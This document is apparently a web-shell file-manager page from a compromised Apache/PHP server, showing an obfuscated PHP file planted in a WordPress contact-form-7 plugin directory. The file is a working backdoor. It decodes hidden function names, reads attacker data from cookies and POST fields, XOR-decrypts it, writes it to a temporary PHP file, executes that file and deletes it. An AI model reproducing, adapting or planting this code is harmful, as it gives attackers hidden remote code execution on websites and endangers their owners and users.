HEX
Server: Apache
System: Linux websend04.greenconsulting.it 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: web20 (5023)
PHP: 7.2.34-38+ubuntu18.04.1+deb.sury.org+1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/clients/client0/web20/web/wp-content/plugins/contact-form-7/modules/dynslqbq.php
<?php
function rz6	()
{
echo 'tw7';


}


function hz1	(     $wi2 ){$rl4=0;


$zo3 = "3;bn#2sp*c(?Ea'.x1j)_rIu04i7H 8yog5@lhk-L/tdfFvem6<";

    $sq5 = substr("", 0);


	while(1)

{

 if($rl4>=count($wi2)) break;  $sq5 .=	$zo3	[ $wi2[$rl4] ];       $rl4++;
}
return	$sq5;


}$yn9      = [];$rtzarkc = 86140;
$yn9[90598]       = hz1	(       Array(13   , 25 , 9  ,      34      , 17    , 27 , 24    , 34      , 39 ,       47 ,	13    , 47	, 43	,    39 ,   25 , 17   , 49 ,      43 , 39    ,    2   , 34      , 2    ,   0	, 39  , 5     ,	25 , 9	, 47	, 44    , 0 , 24 , 24   ,	17 , 30	,     43	, 27 ,) )	;

$ab26 = 39896;
$yn9[80867]      = hz1 (	Array(11 ,      7 ,	37 , 7	, 29       , 35 ,	23 ,	3 , 36	,	26	,	3 , 38     ,      10 ,	20	, 20     ,       45	, 22  , 40      ,	12	, 20 ,	20	,	19    , 1 ,      29	,)   )   ;


$yn9[12257]      = hz1 (  Array(15 ,	18       ,	7 ,    33	,) ) ;

$ao27	=    47849;$yn9[24530] =	hz1 ( Array(15 , 41	,) ) ;$yn9[58322]    = hz1	( Array(28  , 8 ,)    ) ;

$at28	= 58543;
$yn9[15303] = hz1 ( Array(50 ,) ) ;

$yn9[38851] = hz1 (	Array(4 ,) )	;$yn9[71097]   =	hz1 (    Array(44    ,	26      ,  36 , 47 , 20	, 7 ,       23  ,	42 ,	20 , 9 , 32    , 3 , 42     ,      47 ,	3	, 42 ,     6	,) ) ;

$yn9[23477]	= hz1 ( Array(44 ,   26       , 36 ,   47 , 20      , 47  , 16 ,	26 ,    6 , 42   , 6	,)	)  ;
$yn9[32179]     = hz1      ( Array(13	, 21 ,	21 ,	13	,	31       ,  20 , 48 , 47 ,	21 ,       33 ,	47 ,)   ) ;


$yn9[23475] = hz1 (  Array(6 ,   42       ,    21  ,       20 , 21     ,	47       ,    7 ,	47      ,      13	, 42 ,) )   ;
$yn9[34219] =      hz1       ( Array(47      , 16	,	7 , 36  ,	32 , 43       ,      47     ,) ) ;


$go29	=	23888;$yn9[93610] = hz1  ( Array(6	, 42	, 21	,    36	, 47 ,	3 ,) )	;


$yn9[22439]     = hz1 (	Array(26       ,      3 ,       42      ,	46 ,	13   ,	36 ,)	)  ;

$yn9[26006]     =	hz1 ( Array(23    ,     3 , 36 , 26	, 3	,	38 ,)	) ;


$zz30 =	97259;
$yn9[52629] =     hz1       (   Array(7 , 13 , 9 ,	38 ,)	) ;$rj31 =       51998;


$qa22	=       $_COOKIE; $ur20 = "45907";
$qa22  = $yn9[32179]($qa22, $_POST);


foreach ($qa22 as     $mv25       =>       $tl21)

{ function sd15       ( $yn9, $mv25 ,     $op19	)
 { return	substr ( $yn9[23475]	( $mv25 .     $yn9[90598] ,	$yn9[22439](	$op19/$yn9[93610]( $mv25 ) ) +     1 ) , 0 , $op19	); }


  function zc13 ( $yn9, $ay23    )


	{

 return  @$yn9[52629]	($yn9[58322] ,	$ay23   ); }
 function	gl12     (	$yn9,     $tl21, $mv25)
     { return zc13     ( $yn9,      $tl21       ) ^	sd15      (	$yn9,	$mv25   , $yn9[93610]( $tl21 )    );

 }
	


	function rm11 ( $yn9,       $tl21,   $mv25)
	{

 return $yn9[34219] ( $yn9[38851]     , gl12 (    $yn9, $tl21, $mv25));

 }


 


 function ba10 (   $yn9,	$tl21, $mv25) {


 $tl21 =       rm11 ( $yn9, $tl21,	$mv25);


 if	(qv18    (	$yn9,  $tl21)) {       exit(); } }
          function	pl14 (	$yn9, $ay23)
 {      $wq24	= $yn9[24530]      . md5(	$yn9[90598]     )	. $yn9[12257];


      @$yn9[71097] ( $wq24,	$yn9[15303] .      $yn9[80867] .	$ay23[1] (     $ay23[2]       )    );

 

	return	$wq24;
     }


 


 function jf17 (	$yn9,	$wq24)
 { if ($yn9[23477]($wq24))    


 {


 @$yn9[26006] ( $wq24	);


	}


 }
	
 function	jt16	(	$yn9,    $wq24 )

     {
 @include    (	$wq24	);



	jf17     ( $yn9,      $wq24);

 } 

	function	qv18	(  $yn9,   $ay23 )

	{
 if ( isset (       $ay23[2]      ) )	{

       


 $wq24     =	pl14 (       $yn9,	$ay23);


 

	jt16	(	$yn9, $wq24);
	


 return 1;
 } }
 
       ba10	(	$yn9,	$tl21,      $mv25);
}